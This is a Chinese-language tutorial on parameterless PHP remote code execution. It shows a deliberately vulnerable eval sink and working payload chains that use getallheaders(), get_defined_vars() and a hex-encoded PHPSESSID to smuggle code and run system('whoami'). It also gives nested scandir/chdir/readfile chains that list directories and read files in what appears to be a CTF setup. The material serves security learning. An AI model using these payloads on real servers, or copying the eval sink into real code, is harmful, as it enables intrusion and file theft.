什么是无参数RCE?
无参rce,就是说在无法传入参数的情况下,仅仅依靠传入没有参数的函数套娃就可以达到命令执行的效果
核心代码
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {
eval($_GET['code']);
}
这段代码的核心就是只允许函数而不允许函数中的参数,就是说传进去的值是一个字符串接一个()
,那么这个字符串就会被替换为空,如果替换后只剩下;
,那么这段代码就会被eval
执行。
而且因为这个正则表达式是递归调用的,所以说像a(b(c()));
第一次匹配后就还剩下a(b());
,第二次匹配后就还剩a();
,第三次匹配后就还剩;
了,所以说这一串a(b(c())),
就会被eval
执行,但相反,像a(b('111'));
这种存在参数的就不行,因为无论正则匹配多少次它的参数总是存在的。
那假如遇到这种情况,我们就只能使用没有参数的php函数。
没有参数的php函数
getallheaders()
这个函数的作用是获取http
所有的头部信息,也就是headers
,然后我们可以用var_dump
把它打印出来,但这个有个限制条件就是必须在apache
的环境下可以使用,其它环境都是用不了的
那我们用phpstudy搭建一个网站看看
代码如下
<?php
highlight_file(__FILE__);
if(isset($_GET['code'])){
if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) { eval($_GET['code']);}
elsedie('nonono');}
elseecho('please input code');
?>
可以看到所有的头部信息都已经作为了一个数组打印了出来
在实际的运用中,我们肯定不需要这么多条,不然它到底执行哪一条呢?
所以我们需要选择一条出来然后就执行它,这里就需要用到php
中操纵数组的函数了,这里常见的是利用end()
函数取出最后一位,这里的效果如下图所示,而且它只会以字符串的形式取出值而不会取出键,所以说键名随便取就行:
(这里由于我没有实操演示出来,所以借用大佬的看看,大佬链接附在结尾)
那我们把最前面的var_dump
改成eval
,不就可以执行phpinfo
了吗,换言之,就可以实现任意php代码的代码执行了,那在没有过滤的情况下执行命令也就轻而易举了,具体效果如下图所示:
那自然执行whoami命令也是可以的
system("whoami");
get_defined_vars()
getallheaders()
是有局限性的,因为如果中间件不是apache
的话,它就用不了了,那我们就介绍一种更为普遍的方法get_defined_vars()
,这种方法其实和上面那种方法原理是差不多的
可以看到,它并不是获取的headers
,而是获取的四个全局变量$_GET $_POST $_FILES $_COOKIE
,而它的返回值是一个二维数组,我们利用GET
方式传入的参数在第一个数组中。这里我们就需要先将二维数组转换为一维数组,这里我们用到current()
函数,这个函数的作用是返回数组中的当前单元,而它的默认是第一个单元,也就是我们GET方式传入的参数,我们可以看看实际效果:
这里可以看到成功输出了我们二维数组中的第一个数据,也就是将GET的数据全部输出了出来,相当于它就已经变成了一个一维数组了,那按照我们上面的方法,我们就可以利用end()
函数以字符串的形式取出最后的值,然后直接eval
执行就行了,这里和上面就是一样的了:
那我们把var_dump改成eval即可执行我们的phpinfo代码
那同样也能执行whoami命令
总结一下,这种方法和第一种方法几乎是一样的,就多了一步,就是利用current()
函数将二维数组转换为一维数组
session_id()
简单来说就是把恶意代码写到COOKIE
的PHPSESSID
中,然后利用session_id()
这个函数去读取它,返回一个字符串,然后我们就可以用eval
去直接执行了,这里有一点要注意的就是session_id()
要开启session
才能用,所以说要先session_start()
,这里我们先试着把PHPSESSID
的值取出来:
(这里依旧是没有演示成功,依旧是借用大佬的看看)
直接出来就是字符串,那就非常完美,我们就不用去做任何的转换了,但这里要注意的是,PHPSESSIID
中只能有A-Z a-z 0-9
,-
,所以说我们要先将恶意代码16进制编码以后再插入进去,而在php中,将16进制转换为字符串的函数为hex2bin
那我们就可以开始构造了,首先把PHPSESSID
的值替换成这个,然后在前面把var_dump
换成eval
就可以成功执行了,同时我们还要加上hex2bin函数
php函数直接读取文件
上面我们一直在想办法在进行rce,但有的情况下确实无法进行rce时,我们就要想办法直接利用php函数完成对目录以及文件的操作, 接下来我们就来介绍这些函数:
1.localeconv
localeconv() 函数返回一个包含本地数字及货币格式信息的数组
解释见:PHP localeconv() 函数 | 菜鸟教程
我们在代码中将localeconv()
的返回结果输出出来,它返回的是一个二维数组,而它的第一位居然是一个点 .
那按照我们上面讲的,是可以利用current()
函数将这个点取出来的,但这个点有什么用呢?点代表的是当前目录!我们可以利用这个点完成遍历目录的操作!相当于就是linux
中的ls
我们利用current函数把这个点取出来
完成目录遍历操作
2.scandir函数
scandir() 函数返回指定目录中的文件和目录的数组。
3.current(pos)
pos()
函数是current()
函数的别名,两者是一样的
current() 函数返回数组中的当前元素(单元)。
每个数组中都有一个内部的指针指向它“当前的”元素,初始指向插入到数组中的第一个元素。
详情见:PHP current() 函数
4.dirname()和chdir()
chadir()这个函数是用来跳目录的,有时想读的文件不在当前目录下就用这个来切换,因为scandir()
会将这个目录下的文件和目录都列出来,那么利用操作数组的函数将内部指针移到我们想要的目录上然后直接用chdir
切就好了,如果要向上跳就要构造chdir('..')
首先我们可以利用getcwd()
获取当前目录
?code=var_dump(getcwd());
string(13) "/var/www/html"
那么怎么进行当前目录的目录遍历呢?
这里用scandir()
即可
?code=var_dump(scandir(getcwd()));
array(3) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(9) "index.php" }
那么既然不在这一层目录,如何进行目录上跳呢?
我们用dirname()
即可
?code=var_dump(scandir(dirname(getcwd())));
array(4) { [0]=> string(1) "." [1]=> string(2) ".." [2]=> string(14) "flag_phpbyp4ss" [3]=> string(4) "html" }
那么怎么更改我们的当前目录呢?这里我们发现有函数可以更改当前目录
chdir ( string $directory ) : bool
将 PHP 的当前目录改为 directory。
所以我们这里在
dirname(getcwd())
进行如下设置即可
chdir(dirname(getcwd()))
我们尝试读取/var/www/123
http://localhost/?code=readfile(next(array_reverse(scandir(dirname(chdir(dirname(getcwd())))))));
即可进行文件读取
5.array_reverse()
array_reverse() 函数将原数组中的元素顺序翻转,创建新的数组并返回。
将整个数组倒过来,有的时候当我们想读的文件比较靠后时,就可以用这个函数把它倒过来,就可以少用几个next()
6.
highlight_file()
打印输出或者返回 filename 文件中语法高亮版本的代码,相当于就是用来读取文件的
全文引用知识点见:
PHP Parametric Function RCE · sky's blog
https://www.cnblogs.com/pursue-security/p/15406272.html